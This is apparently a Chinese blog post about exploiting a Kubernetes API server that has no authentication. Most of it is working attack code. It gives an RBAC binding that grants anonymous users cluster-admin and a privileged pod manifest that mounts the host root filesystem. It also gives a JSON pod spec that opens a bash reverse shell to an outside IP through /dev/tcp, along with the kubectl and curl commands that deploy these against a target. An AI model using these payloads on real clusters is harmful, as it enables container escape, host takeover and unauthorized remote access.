作者 | 修订时间 |
---|---|
2023-07-13 23:34:09 |
Apiserver
API 服务器是 Kubernetes 控制平面的组件, 该组件负责公开了 Kubernetes API,负责处理接受请求的工作。 API 服务器是 Kubernetes 控制平面的前端。Kubernetes API 服务器的主要实现是 kube-apiserver。 kube-apiserver
设计上考虑了水平扩缩,也就是说,它可通过部署多个实例来进行扩缩。 你可以运行 kube-apiserver
的多个实例,并在这些实例之间平衡流量。
以上是k8s官方对apiserver
的解释,我们可以看到 apiserver
其实就是为了统一方便管理。 部署过k8s都知道调用apiserver
的命令行工具就是kubectl
,例如在主机执行 kubectl get pods -A
其实就是可以理解为 调用 api /api/v1/pods/
在 kube-apiserver
的 启动参数目前官方文档中没有对这个参数的解释了中 存在两个参数 insecure
、insecure-bind-address
该参数可将未授权的端口暴露出来
kube-apiserver --h
或者管理员配置了匿名访问,例如
[root@k8s-master01 k8s.yaml]# cat rbac.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-access
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: Group
name: system:unauthenticated
[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml
kubectl利用
安装 kubectl
curl -LO https://dl.k8s.io/release/v1.18.5/bin/linux/amd64/kubectl # 安装指定版本
curl.exe -LO "https://dl.k8s.io/release/v1.18.5/bin/windows/amd64/kubectl.exe" # windows
制作恶意容器`shell.yaml
# shell.yaml
apiVersion: v1
kind: Pod
metadata:
name: shell-pod
# namespace: nginx # 不指定则为默认空间 default
spec:
containers:
- name: my-container # 容器名称
image: nginx # 镜像
command: ["tail", "-f", "/dev/null"] # 不关闭进程
securityContext:
privileged: true # 特权模式
volumeMounts: # 挂载数据卷 / -> /hosts
- name: root-volume
mountPath: /hosts
volumes:
- name: root-volume
hostPath:
path: /
nodeName: k8s-master01 # 选择宿主机 可以不选择 保持默认
启动、并查看
kubectl -s http://192.168.3.200:8080 apply -f shell.yaml
kubectl -s http://192.168.3.200:8080 get po -A
进入容器
kubectl -s http://192.168.3.200:8080 exec -it <容器名称> -n <命名空间> -- bash
root@shell-pod:/# whoami
Api 利用
制作恶意容器文件
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "re-shell-pod"
},
"spec": {
"containers": [
{
"name": "re-shell-pod",
"image": "nginx",
"command": ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.3.1/8888 0>&1"],
"securityContext": {
"privileged": true
},
"volumeMounts": [
{
"name": "root-volume",
"mountPath": "/hosts"
}
]
}
],
"volumes": [
{
"name": "root-volume",
"hostPath": {
"path": "/"
}
}
],
"nodeName": "k8s-master01"
}
}
新建恶意容器
curl -X POST -H "Content-Type: application/json" --data-binary "@re-shell.json" http://192.168.3.200:8080/api/v1/namespaces/<命名空间>/pods
查看状态
curl http://192.168.3.200:8080/api/v1/namespaces/default/pods/re-shell-pod/status
监听反弹shell端口
结论
对于这类利用仅仅在于 apiserver 未配置认证的清空下,而目前的环境不太可能将不安全的端口爆破出来,而且最新版本也对这两个参数也没有再解释很难去利用未授权
更多利用方式看官方文档即可 Kubernetes API